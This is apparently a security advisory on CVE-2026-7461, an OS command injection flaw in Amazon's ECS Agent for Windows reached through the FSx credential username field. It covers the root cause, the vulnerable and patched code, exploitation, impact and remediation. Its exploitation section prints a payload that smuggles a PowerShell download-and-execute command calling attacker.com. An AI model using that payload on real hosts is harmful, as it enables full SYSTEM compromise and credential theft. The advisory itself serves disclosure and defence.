CVE-2026-7461: OS Command Injection in Amazon ECS Agent for Windows via FSx Volume Credentials

The Amazon Elastic Container Service (ECS) Agent acts as the primary orchestrator between the ECS control plane and the underlying container host. On Windows instances, the agent is responsible for lifecycle management, networking configuration, and volume mounting. A critical function of this agent is handling external storage volumes, specifically Amazon FSx for Windows File Server. When a task definition specifies an FSx volume, the agent must retrieve the associated credentials and execute system-level commands to mount the Server Message Block (SMB) share onto the host operating system before starting the container.

CVE-2026-7461 represents a high-severity OS Command Injection vulnerability (CWE-78) located in this volume mounting execution path. The agent fails to adequately sanitize user-supplied input contained within the credential parameters—specifically the username field. When these tainted parameters are passed down to the underlying operating system for execution, the agent constructs the execution string in an unsafe manner, allowing command separation and arbitrary code execution.

This vulnerability is isolated to Windows environments running ECS Agent versions 1.47.0 through 1.102.0. Linux-based container instances are unaffected by this specific flaw because they utilize different mounting mechanisms and do not integrate natively with the Windows-specific FSx mounting code path. The impact is complete host compromise, though it is gated behind a high-privilege prerequisite requiring the attacker to possess IAM permissions to register ECS task definitions.

The root cause of this vulnerability lies in the improper neutralization of special elements during command construction for the Windows mount process. When the ECS Agent processes a task definition containing an fsxWindowsFileServerVolumeConfiguration block, it retrieves the necessary Active Directory credentials required to map the remote network share. These credentials can be supplied either via direct AWS Systems Manager (SSM) Parameter Store integration, AWS Secrets Manager, or explicitly defined in the task definition depending on the agent's configuration and IAM role.

Once the agent retrieves the username, it formulates an operating system command to authenticate and mount the SMB share. In vulnerable versions, the agent constructs this command by concatenating the credential strings directly into a command-line invocation argument. On Windows systems, passing concatenated strings to the cmd.exe or PowerShell interpreter creates an immediate risk if metacharacters such as &, |, ;, or backticks are present in the input. The command parser interprets these characters as command separators, ending the intended mount command and initiating the execution of the subsequent string.

Because the ECS Agent service runs as NT AUTHORITY\SYSTEM to perform privileged host modifications like networking and volume mapping, the injected commands execute with the highest possible privileges on the Windows operating system. The application does not apply an allowlist to the username string, nor does it escape the input properly for the target command interpreter, resulting in a textbook CWE-78 scenario.

An analysis of the patch introduced in PR #4934 reveals a fundamental shift in how the ECS Agent handles external process invocation on Windows. In the vulnerable iterations, the agent utilized string formatting to build the exact arguments passed to the underlying network mapping utility. The execution call resembled an invocation where the username and password were fed directly as positional or flagged arguments within a single string evaluated by the system shell.

// Illustrative Vulnerable Approach
username := task.FSxVolume.Credentials.Username
// The string formulation directly embeds the user input
cmdStr := fmt.Sprintf("net use %s %s /user:%s", mountPoint, remoteShare, username)
cmd := exec.Command("cmd.exe", "/c", cmdStr)
err := cmd.Run()

The remediation strategy completely eliminates the custom string-concatenation logic. Instead of passing credentials as command-line arguments subject to shell parsing, the patched agent utilizes environment variables to securely transfer sensitive user input to the mounting process. Environment variables are initialized directly in the memory space of the child process during the CreateProcess API call on Windows, bypassing the shell's command-line parser entirely.

// Illustrative Patched Approach
cmd := exec.Command("mount-utility.exe")
// Credentials passed safely via the process environment
cmd.Env = append(os.Environ(), 
    fmt.Sprintf("FSX_USERNAME=%s", task.FSxVolume.Credentials.Username),
    fmt.Sprintf("FSX_PASSWORD=%s", task.FSxVolume.Credentials.Password),
)
err := cmd.Run()

By leveraging environment variables and isolated command arguments via exec.Command slices, the patch ensures that special characters within the username field are treated strictly as string literals by the child process, neutralizing the injection vector. Additional improvements in the patch include stricter input validation and enhanced logging for the FSx file mapping process.

Exploitation of CVE-2026-7461 requires the attacker to possess specific Identity and Access Management (IAM) permissions within the target AWS environment. Specifically, the attacker must have the ability to invoke ecs:RegisterTaskDefinition. With this permission, the attacker authors a malicious JSON payload specifying a new task definition. Within this definition, the attacker defines a volume of type fsxWindowsFileServerVolumeConfiguration.

The payload delivery mechanism leverages the authorizationConfig component of the volume definition. The attacker sets the credentialsParameter to reference a secret they control, or injects the payload directly into the credentials field if supported. A typical exploitation payload within the username parameter takes the form of administrator&powershell.exe -c "Invoke-WebRequest -Uri http://attacker.com/payload.exe -OutFile C:\Windows\Temp\p.exe; C:\Windows\Temp\p.exe". The & character terminates the preceding net use or mount command and initiates the PowerShell instance.

Once the task is registered, the attacker uses ecs:RunTask or relies on an existing service deployment to schedule the task onto a Windows EC2 instance in the ECS cluster. The ECS Agent picks up the assignment, initiates the volume mount sequence, and triggers the command injection payload. The attacker receives a callback or code execution as the SYSTEM user on the host OS.

The execution of arbitrary OS commands as NT AUTHORITY\SYSTEM yields a complete compromise of the underlying Windows container host. The CVSS v3.1 vector evaluates to 7.2 (High) (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H), reflecting the high privileges required to initiate the attack but the absolute loss of confidentiality, integrity, and availability on the target system.

Once system-level code execution is achieved, the attacker escapes the boundary of the scheduled container task. They gain unrestricted access to all containerized workloads running on the shared EC2 instance. The attacker can extract environment variables, application memory, and database credentials belonging to other tenants or microservices co-located on the same host.

Furthermore, host compromise enables the attacker to pivot using the EC2 Instance Metadata Service (IMDS). By querying the metadata service, the attacker extracts the temporary security credentials associated with the EC2 Instance Profile. These credentials often hold broad permissions necessary for cluster operation, such as the ability to pull images from ECR, interact with CloudWatch, or access S3 buckets, facilitating lateral movement and deeper penetration into the AWS environment.

The definitive remediation for CVE-2026-7461 is upgrading the Amazon ECS Agent on all Windows container instances to version 1.103.0 or later. AWS provides updated Windows AMIs with the patched agent pre-installed. Organizations utilizing custom AMIs or running instances that are not automatically updated must manually install the new agent binary.

The manual upgrade process involves stopping the ecs Windows service, replacing the amazon-ecs-agent.exe executable with the patched version downloaded from the official AWS S3 repository, and restarting the service. Network administrators must ensure their instances have egress access to retrieve the latest binary payload. Verification of the running version can be confirmed by executing ./amazon-ecs-agent.exe -version in PowerShell.

As a defense-in-depth measure, security teams must audit IAM policies attached to users, groups, and roles to ensure the principle of least privilege is applied to ecs:RegisterTaskDefinition and ecs:RunTask actions. Organizations should employ AWS CloudTrail monitoring to detect suspicious task definitions. Specifically, security engineers can deploy rules to flag RegisterTaskDefinition API events where the fsxWindowsFileServerVolumeConfiguration block contains non-alphanumeric shell metacharacters within the credential configuration fields.